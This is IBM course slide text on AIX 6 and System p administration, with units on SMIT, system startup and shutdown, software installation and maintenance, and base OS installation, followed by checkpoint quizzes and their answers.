Unit 1
Introduction to
IBM System p servers
and AIX system administration
Unit objectives

After completing this unit, you should be able to:

• Define terminology and concepts of IBM System p servers
• List common configurations available for IBM System p servers
• Describe the roles of the system administrator
• Obtain root access with the su command
What is RISC technology?

Reduced Instruction Set Computing (RISC) processors aim to:

- Implement the most used instructions in hardware
- Execute multiple instructions in one cycle
- Provide synergy between hardware and software

Time to execute a program = Number of Instructions \times Clock cycles per instruction \times Time taken for a clock cycle

- Depends on: Architecture
- Depends on: Architecture Compiler
- Depends on: Technology
- Implementation

Optimized on pSeries machines
System p bus types

PCI

- Processor
- LAN
- Graphics
- SCSI

ISA

- Exp Bus Xface
- Base I/O Functions
Workstation configuration

Single-User Graphical Workstation

- 1280 x 1024 Resolution
- Up to 16 M colors

Built-in Adapters
- Two serial ports
- SCSI
- Keyboard
- Mouse
- Diskette
- Ethernet
- Tablet

Personal Computer Display or PowerDisplay
15, 17, 20, or 23 inches

System p

Graphics Adapter
Server configurations

Multiuser System

System p
Server Unit
Async Adapter
ASCII Terminals

Networked System

Server
Disk storage
Printers
Programs
Login Sessions

Clients
File Transfer
PCs
System p

Network
Mail
Documentation
Other systems

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PC connectivity

System p

Network

PC

X Window

Client

Programs

X Window

Server

Software
Logical partitioning (LPAR)

- Resources allocated in flexible units of granularity

![Diagram of Logical Partitioning (LPAR)](image)

**Operating System**

- A = Adapter
- M = Memory
- P = Processor
- □ = Disk
Logical partition virtualization
POWER6 system highlights

• POWER6 processor technology
  – 5th implementation of multi-core design
  – ~100% higher frequencies

• POWER6 system architecture
  – New generation of servers
  – New IO
    • PCIe, SAS / SATA
    • GX+ 12x IO drawers
  – Enhanced power management

• Enhanced virtualization
  – Partition Mobility (SoD)
  – Dedicated shared processors
  – Integrated Virtual Ethernet

• Availability
  – New RAS features
    • Processor instruction retry
  – Power management
AIX 6 highlights

- Workload partitions
  - Multiple instances of AIX images in single LPAR
  - WPAR mobility (on POWER4, POWER5, or POWER6)
  - WLM infrastructure for resource balance and constraint
- Security
  - Enhanced RBAC (roles)
  - Trusted AIX
  - Trusted execution
  - Encrypted filesystems
  - AIX Security Expert enhancements
- RAS
  - Virtual storage protection key
  - Processor recovery
- Performance
  - Dynamic page sizes and 32 TB memory support
  - Processor folding for donating dedicated
  - SPURR accounting for variable clock speeds
  - Math APIs for Decimal Floating Point (DFP)
  - Drivers for POWER6 related hardware
    - SAS, SATA, PCI-Express, HEA, and so forth
HMC management

- Hardware Management Console (HMC)
- Partition configuration and control
  - Dynamic partitioning for LPARs (AIX 5L V5.2 and later)
- Capacity Upgrade on Demand (CUoD)
- Diagnostics
- Operational management
- Remote HMC control
Remote access to the HMC

1. Alternate HMC
2. Windows, Linux, or AIX via the Web browser or WebSM
3. SSH access to HMC commands
HMC default console view
Role of the system administrator

- Pre-installation planning of:
  - User accounts/groups
  - Storage allocation/paging space
  - Subsystem (printing, networks, and so forth)
  - Standard naming conventions
  - Determine system policies
- Install and configure hardware
- Configure the software
- Configure the network
- System backup
- Create/manage user accounts
- Define and manage subsystems
- Manage system resources (for example, disk space)
- Performance monitoring
- Capacity planning
- Managing licenses for products
- Document system configuration and keep it current
Who can perform administration tasks?

• Usually exclusive to the root user
  – Bypasses any file permissions
  – Very dangerous to login as root
  – Keep the root password secure

• Some tasks can be performed by other users in special groups such as system, security, printq, and lp

• The su command allows you to obtain root's permissions or permissions of any user whose password you know

$ su root

or

$ su - root
Checkpoint

1. What type of adapter are you likely to require for communicating from a logical partition?
   a. Asynchronous
   b. Graphics
   c. Ethernet

3. True or False? The adapters seen by the AIX operating system, in an LPAR, may be either physical or virtual.
   ______________________________

4. True or False? The su command allows you to get root authority even if you signed on using another user ID.
Welcome to:

Unit 2
System Management Interface Tool (SMIT)
Unit objectives

After completing this unit, you should be able to:

● Describe the benefits of the system management tools available with AIX version 6.1

● Discuss the functionality of SMIT

● Explain how SMIT activity is logged
Early system administration

Commands:
- print
- mount
- errpt
- passwd
- backup
- trace
- kill
- restore
- update
- penable

Flat files:
- /etc/profile
- /etc/qconfig
- /etc/filesystems
- /etc/rc
- /etc/passwd

Front end menus:
- adduser
- devices
- minidisks
System management objectives

- Minimize time and resources spent managing systems
- Maximize reliability, performance, and productivity
- Provide remote system management solutions
AIX administration

- SMIT
- Web-based System Manager
- Systems Director

- High-level commands
- Low-level commands
- Intermediate-level commands

- System calls
- Kernel services
- System Resource Controller
- Object Data Manager
- ASCII files

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System Management Interface Tool (SMIT)

ASCII or AIXwindows (Motif) user interface components

- menu
- help
- submenu
- help
- submenu
- help
- name selector
  - list
  - help
- dialog panel
  - help
  - list
- output panel
SMIT main menu (ASCII)

# smit

System Management

Move cursor to desired item and press Enter.

Software Installation and Maintenance
Software License Management
Devices
System Storage Management (Physical & Logical Storage)
Security & Users
Communications Applications and Services
Workload Partition Administration
Print Spooling
Advanced Accounting
Problem Determination
Performance & Resource Scheduling
System Environments
Processes & Subsystems
Applications
Installation Assistant
Cluster Systems Management
Using SMIT (information only)

F1=Help          F2=Refresh          F3=Cancel          F8=Image
F9=Shell          F10=Exit           Enter=Do
SMIT main menu (Motif)
Schedule a Job

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

YEAR               [07]          #
MONTH              [Jun]         +
DAY (1-31)         [22]          #
* HOUR (0-23)       []            #
* MINUTES (0-59)    []            #
SHELL to use for job execution  Korn (ksh)     +
* COMMAND or SHELL SCRIPT (full pathname)  []

F1=Help          F2=Refresh     F3=Cancel       F4=List
F5=Reset         F6=Command     F7=Edit         F8=Image
F9=Shell         F10=Exit       Enter=Do
Before command completion, additional instructions may appear below.

<table>
<thead>
<tr>
<th>UID</th>
<th>PID</th>
<th>PPID</th>
<th>C</th>
<th>STIME</th>
<th>TTY</th>
<th>TIME</th>
<th>CMD</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>1</td>
<td>0</td>
<td>4</td>
<td>20:15:04</td>
<td>-</td>
<td>1:49</td>
<td>/etc/init</td>
</tr>
<tr>
<td>root</td>
<td>1719</td>
<td>1</td>
<td>0</td>
<td>20:16:14</td>
<td>-</td>
<td>0:10</td>
<td>/etc/synodcd 60</td>
</tr>
<tr>
<td>root</td>
<td>2003</td>
<td>1</td>
<td>0</td>
<td>20:16:19</td>
<td>-</td>
<td>0:00</td>
<td>/etc/srcmstr</td>
</tr>
<tr>
<td>root</td>
<td>2233</td>
<td>1</td>
<td>0</td>
<td>17:16:14</td>
<td>-</td>
<td>0:00</td>
<td>/usr/lib/errdemon</td>
</tr>
<tr>
<td>ray</td>
<td>3525</td>
<td>1</td>
<td>0</td>
<td>20:01:28</td>
<td>0</td>
<td>0:00</td>
<td>-ksh</td>
</tr>
<tr>
<td>root</td>
<td>3806</td>
<td>2003</td>
<td>0</td>
<td>19:16:23</td>
<td>-</td>
<td>0:00</td>
<td>/etc/syslogd</td>
</tr>
<tr>
<td>ray</td>
<td>4162</td>
<td>3525</td>
<td>6</td>
<td>20:53:22</td>
<td>0</td>
<td>0:04</td>
<td>smit</td>
</tr>
<tr>
<td>root</td>
<td>5355</td>
<td>1</td>
<td>0</td>
<td>20:16:27</td>
<td>-</td>
<td>0:12</td>
<td>/etc/cron</td>
</tr>
<tr>
<td>root</td>
<td>6649</td>
<td>2003</td>
<td>0</td>
<td>20:16:32</td>
<td>-</td>
<td>0:00</td>
<td>qdaemon</td>
</tr>
<tr>
<td>ray</td>
<td>7303</td>
<td>4162</td>
<td>8</td>
<td>20:09:45</td>
<td>0</td>
<td>0:00</td>
<td>ps -ef</td>
</tr>
</tbody>
</table>
SMIT log and script files

- **$HOME/smit.log**
  Keeps a log of all menu and dialog screens visited, all commands executed and their output. Also records any errors during the SMIT session.

- **$HOME/smit.script**
  Shell script containing all AIX commands executed by SMIT.
smit command options

● General syntax:

    smit [-options] [ FastPath ]

● Invoke ASCII version:

    # smitty

      or

    # smit -C

● Log (but do not actually run) commands:

    # smit -x

● Redirect the log file and script file:

    # smit -s /u/team1/smit.script -l /u/team1/smit.log

    # smit -s /dev/pts/1 -l /dev/pts/2
Welcome to IBM Systems Director Console for AIX

The IBM Systems Director Console for AIX provides an easy to use interface for administering the web-enabled AIX management tasks, including previous System Management Interface Tool (SMIT) and Web-based System Management tasks. Use the OS Management navigation tab to view your management task categories. Each category will display subcategories that will lead to all of the tasks you can perform using the console. You may also navigate directly to the tasks using the SMIT tool.

For more information about the console, AIX and System p, or hardware, refer to the following information centers:
IBM Systems Director Console for AIX Information Center.
AIX and System p Information Center.
System Hardware Information Center.
1. Specify the SMIT function keys that can be used for the following:
   a) List the command that will be run: ____
   b) List the screen name which can be used for the fastpath: ____
   c) Take a screen image: ___
   d) Break out into a shell: ___
   e) Return to the previous menu: ___

2. Specify two ways you can request the ASCII character version of SMIT from an X-windows environment command prompt:
   – __________________
   – __________________
1. Specify the SMIT function keys that can be used for the following:
   - List the command that will be run: F6
   - List the screen name which can be used for the fastpath: F8
   - Take a screen image: F8
   - Break out into a shell: F9
   - Return to the previous menu: F3

2. Specify two ways you can request the ASCII character version of SMIT from an X-windows environment command prompt:
   - smitty
   - smit -C
Exercise 2: Using SMIT

- Using SMIT with the ASCII interface
- Using SMIT with the Motif interface (optional)
Most system administration tasks can be completed using either the ASCII or graphical (Motif) version of SMIT.

SMIT provides logging of activities and generated commands.

SMIT has useful fastpaths for bypassing the menu structures.
1. What type of adapter are you likely to require for communicating from a logical partition?
   - Asynchronous
   - Graphics
   - Ethernet

3. True or False? The adapters seen by the AIX operating system, in an LPAR, may be either physical or virtual. True, with POWER5 the LPAR can have virtual SCSI and Virtual Ethernet adapters.

5. True or False? The su command allows you to get root authority even if you signed on using another user ID. But, you must also know the root password.
Exercise 1: root login methods

- Direct logins to root
- Using the `su` command
Unit summary

• Common configurations
  – Single-user graphics workstation
  – Multiuser ASCII
  – Networked system
  – X Window-enabled PC

• New features for:
  – POWER6
  – AIX 6

• System administrator's role:
  – Pre-installation planning
  – Install hardware, software, network
  – Manage user accounts, system resources, licenses
  – Backup/recovery
  – Define subsystems
  – Performance monitoring, capacity planning
Unit 3
System startup and shutdown
Unit objectives

After completing this unit, you should be able to:

• Describe the system startup process
• Explain how to shut down the system
• Describe the contents of the /etc/inittab file
• Manage the system environment
Startup modes

**Normal mode**
- Login prompt
- All processes running
- Multi-user mode

**System Management Services**
- Not AIX
- Runs from FIRMWARE
- Sets boot list

**Maintenance mode**
- Maintenance menu
- Recover *root* password
- Fix machine that won't boot

**Diagnostics**
- AIX diagnostics
Starting System Management services

PowerPC Firmware
Version EM310_048
SMS 1.6 (c) Copyright IBM Corp. 2000,2005 All rights reserved.

Main Menu
1. Select Language
2. Setup Remote IPL (Initial Program Load)
3. Change SCSI Settings
4. Select Console
5. Select Boot Options

Navigation Keys:
X = eXit System Management Services

Type menu item number and press Enter or select Navigation key:
System p server start up process overview

1. Power on
2. POST
3. Locate OS bootstrap image
4. Find AIX boot image
5. Load AIX boot image
   - RAMDISK created
6. Configuration Manager Phase 1
7. INIT

Normal IPL
The `bootinfo` command

- To view the architecture type:
  ```
  # bootinfo -p
  
  rs6k    MCA model
  rspc    PCI model (POWER Reference Platform)
  chrp    PCI model (Common Hardware Reference)
  ```

- To view the bit addressing:
  ```
  # bootinfo -y
  
  32     32-bit
  64     64-bit
  ```
The `alog` command

Use the `alog` command to view logs:

```
# alog -o -t boot
```

Log files:
- `/var/adm/ras/bootlog`
- `/var/adm/ras/BosMenus.log`
- `/var/adm/ras/bosinst.log`
- `/var/adm/ras/nimlog`
- `/var/adm/ras/conslog`
- `/var/adm/ras/errlog`
Format of the line: \texttt{id:runlevel:action:command}

\texttt{init:2:initdefault:}
\texttt{brc::sysinit:/sbin/rc.boot 3 >/dev/console 2>&1 \# Phase 3 of system boot}
\texttt{powerfail::powerfail:/etc/rc.powerfail 2>&1 | alog \ -tboot > /dev/console ...}
\texttt{mkatmpvc:2:once:/usr/sbin/mkatmpvc >/dev/console 2>&1}
\texttt{atmsvcd:2:once:/usr/sbin/atmsvcd >/dev/console 2>&1}
\texttt{load64bit:2:wait:/etc/methods/cfg64 >/dev/console 2>&1 \# Enable 64-bit execs}
\texttt{tunables:23456789:wait:/usr/sbin/tunrestore -R > /dev/console 2>&1 ...}
\texttt{rc:23456789:wait:/etc/rc 2>&1 | alog \ -tboot > /dev/console \# Multi-User checks}
\texttt{fbcheck:23456789:wait:/usr/sbin/fbcheck 2>&1 | alog \ -tboot > /dev/console ...}
\texttt{srcmstr:23456789:respawn:/usr/sbin/srcmstr \# System Resource Controller}
\texttt{rcttcpip:23456789:wait:/etc/rc.tcpip > /dev/console 2>&1 \# Start TCP/IP daemons}
\texttt{rcnfs:23456789:wait:/etc/rc.nfs > /dev/console 2>&1 \# Start NFS Daemons}
\texttt{cron:23456789:respawn:/usr/bin/cron}
\texttt{piobe:2:wait:/usr/lib/lpd/pio/etc/pioinit >/dev/null 2>&1 \# pb cleanup}
\texttt{qdaemon:23456789:wait:/usr/bin/startssrc -sqdaemon}
\texttt{writesrv:23456789:wait:/usr/bin/startssrc -swritesrv}
\texttt{uprintfd:23456789:respawn:/usr/sbin/uprintfd}
\texttt{shdaemon:2:off:/usr/sbin/shdaemon >/dev/console 2>&1 \# High availability daemon}
\texttt{12:2:wait:/etc/rc.d/rc 2}
\texttt{13:3:wait:/etc/rc.d/rc 3}
\texttt{14:4:wait:/etc/rc.d/rc 4}
\ldots
System resource controller

• Provides a single interface to control subsystems
• Controls individual subsystems or groups of subsystems
System resource controller syntax

- List SRC status:

  ```
  # lssrc -g spooler
  subsystem      Group    PID    Status
  qdaemon        spooler   8022   active
  writesrv       spooler   9558   active
  lpd            spooler   9558   inoperative
  ```

- Start a subsystem:

  ```
  # startsrc -s lpd
  0513-059 The lpd Subsystem has been started. Subsystem PID is 12472.
  ```

- Refresh a subsystem:

  ```
  # refresh -s lpd
  0513-095 The request for subsystem refresh was completed successfully.
  ```

- Stop a subsystem:

  ```
  # stopsrc -s lpd
  0513-044 The lpd Subsystem was requested to stop.
  ```
Stopping processes

• **# ps -ef**

<table>
<thead>
<tr>
<th>UID</th>
<th>PID</th>
<th>PPID</th>
<th>C</th>
<th>STIME</th>
<th>TTY</th>
<th>TIME</th>
<th>CMD</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:11</td>
<td>/etc/init</td>
</tr>
<tr>
<td>root</td>
<td>2626</td>
<td>1</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>1:17</td>
<td>/usr/sbin/syncd 60</td>
</tr>
<tr>
<td>root</td>
<td>4136</td>
<td>1</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:00</td>
<td>/usr/sbin/srcmstr</td>
</tr>
<tr>
<td>root</td>
<td>4964</td>
<td>4136</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:00</td>
<td>/usr/sbin/inetd</td>
</tr>
<tr>
<td>root</td>
<td>6734</td>
<td>1</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:02</td>
<td>/usr/sbin/cron</td>
</tr>
<tr>
<td>root</td>
<td>8022</td>
<td>4136</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:00</td>
<td>/usr/sbin/qdaemon</td>
</tr>
<tr>
<td>root</td>
<td>9036</td>
<td>1</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:00</td>
<td>/usr/sbin/uprintfd</td>
</tr>
<tr>
<td>root</td>
<td>9345</td>
<td>1</td>
<td>0</td>
<td>May 04</td>
<td>-</td>
<td>0:02</td>
<td>/usr/bin/program</td>
</tr>
</tbody>
</table>

• For process not started by *srcmstr*:

```bash
# kill 9345
```

• For processes started by SRC:

```bash
# stopsrc -s qdaemon
```
System shutdown

• The shutdown command:
  – Gracefully stops all activity on the system and advises all logged on users
  – Warns users of an impending shutdown

# shutdown +2 The system will be down until 3AM

Broadcast message from root@localhost (tty) at 1:30:20...

The system will be down until 3AM

shutdown: PLEASE LOG OFF NOW!!!
All processes will be killed in 2 minutes
Manage the system environment

# smit system

System Environments

Move cursor to desired item and press Enter.

Stop the System
AIX Security Expert
Assign the Console
Change / Show Date, Time, and Time Zone
Manage Language Environment
Change / Show Characteristics of Operating System
Change / Show Number of Licensed Users
Broadcast Message to all Users
Manage System Logs
Change / Show Characteristics of System Dump
Change/Show Documentation Services
Change System User Interface
Change/Show Default Browser
Change/Show Documentation Services
Web-based System Manager
Enable 64-bit Application Environment
Manage Remote Reboot Facility
Manage System Hang Detection

F1=Help      F2=Refresh      F3=Cancel      F8=Image
F9=Shell      F10=Exit       Enter=Do
Manage Language Environment

# smit mlang

Manage Language Environment

Move cursor to desired item and press Enter.

Change/Show Primary Language Environment
Add Additional Language Environments
Remove Language Environments
Change/Show Language Hierarchy
Set User Languages
Change/Show Applications for a Language
Convert System Messages and Flat Files

F1=Help       F2=Refresh       F3=Cancel       F8=Image
F9=Shell      F10=Exit         Enter=Do
Hardware Management Console

This web server is hosting the Hardware Management Console application. Click on the link below to begin.

Log on and launch the Hardware Management Console web application.

- **System Status**: Status is good.
- **Attention LEDs**: Status is good.
- **Serviceable Events**: One or more Serviceable Events.
HMC – LPAR operations menu
Checkpoint

1. What is the first process that is created on the system and which file does it reference to initiate all the other processes that have to be started?

____________________________________________
____________________________________________

2. Which AIX feature can be used to stop and start groups of daemons or programs?

____________________________________________

3. True or False? You can only execute the shutdown command from the console.
Checkpoint solutions

- What is the first process that is created on the system and which file does it reference to initiate all the other processes that have to be started?
  The initial process is `init`, which checks `/etc/inittab` for information regarding other processes that have to be started.

- Which AIX feature can be used to stop and start groups of daemons or programs?
  The System Resource Controller (SRC)

- True or False? You can only execute the shutdown command from the console.
  False
Exercise 3: System startup and shutdown

- Multi-user mode
- Boot using System Management Services
- System Resource Controller (SRC)
- Resetting the run level (INIT)
Unit summary

- When the system boots up, it first runs through a number of hardware checks before starting the processes defined in the /etc/inittab file.

- The LED codes produced during the boot process can be used to identify problems. Alternatively, the boot log file can be accessed to obtain the system messages produced during the boot phase.

- Once the system is up, it can be shut down by an authorized user from any terminal.

- SMIT can be used to change common system settings such as the language used, and the date and time used by the system.
Unit 4
AIX software installation and maintenance
Unit objectives

After completing this unit, you should be able to:

● Define the package definitions and naming conventions
● Identify how software products and updates are installed and managed on the system
AIX product offerings

- AIX
- LPPs
- AIX documentation
- Expansion Pack
- Bonus Pack Web  
  (not available in AIX 6.1)
- AIX Toolbox for Linux  
  (included in AIX 6.1 Expansion pack)
Packaging definitions

LPP:
- bos

Collection of packages
- Complete product

Collection of filesets

Package:
- bos.INed
- bos.adt

Fileset:
- Smallest unit
- Specific function
- bos.INed
- bos.adt.lib
- bos.adt.prof
Bundles

- A bundle is a collection of packages and filesets suited for a particular environment
- Predefined system bundles in AIX include:
  - AllDevicesKernels
  - Alt_Disk_Install
  - App-Dev
  - CC_Eval.Graphics
  - CDE
  - GNOME
  - Graphics
  - KDE
  - Kerberos_5
  - Media-Defined
  - Mozilla
  - PerfTools
  - Server
  - cas_client and cas_server
  - Devices
  - Infocenter
  - openssh_client and openssh_server
  - wsm_remote
Fileset naming

Message convention:
LPP.msg[.lang].package.fileset
Software updates

```
# oslevel
```

```
6.1.0.0
```

```
Version
Release

MIGRATION

Modification
Fix

smit update_all
```
Software states

**Applied:**

6.1.0.0 → Install → FILESET 6.1.0.1 (Old Version) → Applied → FILESET 6.1.0.2 → Commit or Reject → FILESET 6.1.0.2 (New Version) or FILESET 6.1.0.1 (Old Version)

**Committed:**

6.1.0.2 → Install → FILESET 6.1.0.2 → Committed
## Software Installation and Maintenance

Move cursor to desired item and press Enter.

<table>
<thead>
<tr>
<th>Install and Update Software</th>
</tr>
</thead>
<tbody>
<tr>
<td>List Software and Related Information</td>
</tr>
<tr>
<td>Software Maintenance and Utilities</td>
</tr>
<tr>
<td>Software Service Management</td>
</tr>
<tr>
<td>Relocatable Software Installation and Maintenance</td>
</tr>
<tr>
<td>Network Installation Management</td>
</tr>
<tr>
<td>EZ NIM (Easy NIM Tool)</td>
</tr>
<tr>
<td>System Workload Partition Software Maintenance</td>
</tr>
<tr>
<td>System Backup Manager</td>
</tr>
<tr>
<td>Alternate Disk Installation</td>
</tr>
<tr>
<td>EFIX Management</td>
</tr>
<tr>
<td>Thin Server Maintenance</td>
</tr>
</tbody>
</table>

F1=Help  F2=Refresh  F3=Cancel  F8=Image
F9=Shell  F10=Exit  Enter=Do
Install and Update Software

Move cursor to desired item and press Enter.

Install Software
Update Installed Software to Latest Level (Update All)
Install Software Bundle
Update Software by Fix (APAR)
Install and Update from ALL Available Software

F1=Help          F2=Refresh          F3=Cancel          F8=Image
F9=Shell         F10=Exit           Enter=Do
Install Software

Type or select values in entry fields. Press Enter AFTER making all desired changes.

### [Entry Fields]

<table>
<thead>
<tr>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>* INPUT device / directory for software</td>
<td>/dev/cd0</td>
</tr>
<tr>
<td>* SOFTWARE to install</td>
<td>[_all_latest] +</td>
</tr>
<tr>
<td>PREVIEW only? (install operation will NOT occur)</td>
<td>no +</td>
</tr>
<tr>
<td>COMMIT software updates?</td>
<td>yes +</td>
</tr>
<tr>
<td>SAVE replaced files?</td>
<td>no +</td>
</tr>
<tr>
<td>AUTOMATICALLY install requisite software?</td>
<td>yes +</td>
</tr>
<tr>
<td>EXTEND file systems if space needed?</td>
<td>yes +</td>
</tr>
<tr>
<td>OVERWRITE same or newer versions?</td>
<td>no +</td>
</tr>
<tr>
<td>VERIFY install and check file sizes?</td>
<td>no +</td>
</tr>
<tr>
<td>Include corresponding LANGUAGE filesets?</td>
<td>yes +</td>
</tr>
<tr>
<td>DETAILED output?</td>
<td>no +</td>
</tr>
<tr>
<td>Process multiple volumes?</td>
<td>yes +</td>
</tr>
<tr>
<td>ACCEPT new license agreements?</td>
<td>no +</td>
</tr>
<tr>
<td>PREVIEW new LICENSE agreements?</td>
<td>no +</td>
</tr>
</tbody>
</table>

F1=Help                  F2=Refresh                  F3=Cancel                  F4=List
F5=Reset                 F6=Command                  F7=Edit                    F8=Image
F9=Shell                 F10=Exit                    Enter=Do
# smit list_installed

List Installed Software and Related Information

Move cursor to desired item and press Enter.

List Installed Software
List Installed Software by Bundle
List Applied but Not Committed Software Updates
Show Software Installation History
Show Fix (APAR) Installation Status
List Fileset Requisites
List Fileset Dependents
List Files Included in a Fileset
List Fileset Containing File
Show Installed License Agreements

F1=Help      F2=Refresh       F3=Cancel       F4=List
F5=Reset     F6=Command       F7=Edit         F8=Image
F9=Shell     F10=Exit         Enter=Do

`ls1pp` command:
- `-L` Lists the installed software
- `-h` Shows the history of a software product
List installed software

```bash
# lslpp -l "bos.*"
```

<table>
<thead>
<tr>
<th>Fileset</th>
<th>Level</th>
<th>State</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Path: /usr/lib/objrepos</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>bos.64bit</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Base Operating System 64 bit Runtime</td>
</tr>
<tr>
<td>bos.acct</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Accounting Services</td>
</tr>
<tr>
<td>bos.adt.base</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Base Application Development Toolkit</td>
</tr>
<tr>
<td>bos.adt.include</td>
<td>6.1.0.11</td>
<td>COMMITTED</td>
<td>Base Application Development Include Files</td>
</tr>
<tr>
<td>bos.adt.lib</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Base Application Development Libraries</td>
</tr>
<tr>
<td>bos.alt_disk_install.boot_images</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Alternate Disk Installation Disk Boot Images</td>
</tr>
<tr>
<td>bos.alt_disk_install.rte</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Alternate Disk Installation Disk Boot Images</td>
</tr>
<tr>
<td>bos.cdmount</td>
<td>6.1.0.0</td>
<td>COMMITTED</td>
<td>CD/DVD Automount Facility</td>
</tr>
<tr>
<td>bos.content_list</td>
<td>6.1.0.0</td>
<td>COMMITTED</td>
<td>AIX Release Content List</td>
</tr>
<tr>
<td>bos.diag.com</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Common Hardware Diagnostics</td>
</tr>
<tr>
<td>bos.diag.rte</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Hardware Diagnostics</td>
</tr>
<tr>
<td>bos.diag.util</td>
<td>6.1.0.10</td>
<td>COMMITTED</td>
<td>Hardware Diagnostics Utilities</td>
</tr>
</tbody>
</table>

... (rest of output omitted) ...
Fix repository

Available updates (from IBM Web site)

Fix repository (locally stored filesets) -> Installed fixes
Fix Central Web site

Fix Central provides fixes and updates for your system's software, hardware, and operating system.

Product family
- System p

Product
- AIX

Version
- 6.1

Fix type
- Fix packs

Continue
More fix services screen (from Fix Central)

Fix packs
for AIX 6.1 operating system

AIX updates are provided as Technology Level packages or Service Packs. These generally available updates have been tested to operate best when all updates in a fix pack are installed. IBM recommends installing the complete fix pack.

Select a Technology Level
All 6.1 Go

Fix packs
Name Type Prereqs Date
6100-00-01-0748 Service Pack November 2007
# smit service_software

Software Service Management

Move cursor to desired item and press Enter.

Service Update Management Assistant (SUMA)
Comparison Reports
Rename Software Images in Repository
Clean Up Software Images in Repository

F1=Help        F2=Refresh        F3=Cancel        F8=Image
F9=Shell       F10=Exit         Enter=Do
Comparison Reports

# smit compare_report

Comparison Reports

Move cursor to desired item and press Enter.

Compare Installed Software to Fix Repository
Compare Installed Software to List of Available Updates
Compare Fix Repository to List of Available Updates

F1=Help       F2=Refresh       F3=Cancel       F8=Image
F9=Shell      F10=Exit        Enter=Do
Software Maintenance and Utilities

# smit maintain_software

Software Maintenance and Utilities

Move cursor to desired item and press Enter.

Commit Applied Software Updates (Remove Saved Files)
Reject Applied Software Updates (Use Previous Version)
Remove Installed Software

Rename Software Images in Repository
Clean Up Software Images in Repository

Copy Software to Hard Disk for Future Installation
Copy Software Bundle to Hard Disk for Future Installation

Check Software File Sizes After Installation
Verify Software Installation and Requisites

Clean Up After Failed or Interrupted Installation

Service Update Management Assistant (SUMA)

F1=Help       F2=Refresh       F3=Cancel       F8=Image
F9=Shell       F10=Exit        Enter=Do

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instfix command

- Installs a fix:
  
  ```
  # instfix -k IY58143 -d /dev/cd0
  ```

- Searches for a fix:
  
  ```
  # instfix -ik IY58143
  All filesets for IY58143 were found.
  ```

- Searches for a fix by keyword:
  
  ```
  # instfix -s SCSI -d /dev/cd0
  ```

- Lists which AIX BOS maintenance levels are partly or fully installed:
  
  ```
  # instfix -i | grep ML
  All filesets for 6.1.0.0_AIX_ML were found.
  All filesets for 6100-01_AIX_ML were found.
  ```

- Lists which filesets are missing in a partly installed AIX BOS maintenance level:
  
  ```
  # instfix -ciqk 6100-01_AIX_ML | grep :-:
  ```
Checkpoint

1. Which of the following states can your software be in, in order for you to be able to use it? (Select all that apply)
   a. Applied state
   b. Removed state
   c. Install state
   • Commit state

2. What command is used to list all installed software on your system? _______________

4. Which of the following can you install as an entity? (Select all that apply)
   a. Fileset
   b. LPP
   c. Package
   d. Bundle

• What is the difference between the SMIT menus: Install Software and Update Installed Software to Latest Level (Update All)?

______________________________
1. Which of the following states can your software be in, in order for you to be able to use it? (Select all that apply)
   - Applied state
   - Removed state
   - Install state
   - Commit state
   - What command is used to list all installed software on your system?
     `lslpp -l`

3. Which of the following can you install as an entity? (Select all that apply)
   a. Fileset
   b. LPP
   c. Package
   d. Bundle

   - What is the difference between the SMIT menus: Install Software and Update Installed Software to Latest Level (Update All)?
     Install Software by default installs everything from the installation media (except printer and devices) onto the system.
     Update Installed Software to Latest Level (Update All) installs only updates to filesets already installed on your system.
Exercise 4: AIX software installation

- List and install AIX software
- Working with AIX fixes (optional)
Unit summary

- AIX package naming conventions include the following terms:
  - LPP
  - Package
  - Fileset
  - Suffix

- The easiest way to install software is to use SMIT. The `geninstall` and `installp` commands are also available.

- Use the `lslpp` command, SMIT or the Web-based System Manager to list all software products installed on the system.
Welcome to:

Unit 5
AIX 6 installation
Unit objectives

After completing this unit, you should be able to:

- List the different installation and media options available
- List the steps necessary to install the AIX version 6.1 base operating system
- Identify the tasks that can be carried out using the Configuration Assistant
Installation methods

- CD-ROM
- Tape (not available for AIX 6.1 installation)
  - 4 mm
  - 8 mm
- Preinstallation option (for a new system order)
- Network Installation Manager (NIM)
  - Token Ring
  - Ethernet
  - FDDI
Installation process (from CD)

1. Insert CD in CD-ROM drive
2. Power on peripheral SCSI devices
3. Power on system
4. Press <5>
Installation process (from NIM)

1. Prepare the NIM server
2. Boot system to SMS mode
3. Configure for network boot
4. Initiate boot (exit SMS)
Console and language definition

Select your console

This message is displayed in different languages to:

- All native graphics displays
- Terminal on serial

******* Please define the System Console.
******

Type the F1 key and press Enter to use this display as the System Console.

NEXT:
Select the language for installation
At the **Installation and Maintenance** menu, check all the installation settings:

```
Welcome to Base Operating System
Installation and Maintenance

Type the number of your choice and press Enter. Choice indicated by >>>>

1 Start Install Now with Default Settings
>>> 2 Change/Show Installation Settings and Install
  3 Start Maintenance Mode for System Recovery
  4 Configure Network Disks (iSCSI)

88 Help  ?
99 Previous Menu
>>> Choice [1]: 2
```
Installation and Settings

Either type 0 or press Enter to install with current settings, or type the number of the setting you want to change and press Enter.

1 System Settings:
   Method of installation ...................... New and Complete Overwrite
   Disk where you want to Install ........ Hdisk0

2 Primary Language Environment Settings (AFTER Install):
   Cultural Convention ............... English (United States)
   Language ....................... English (United States)
   Keyboard ..................... English (United States)
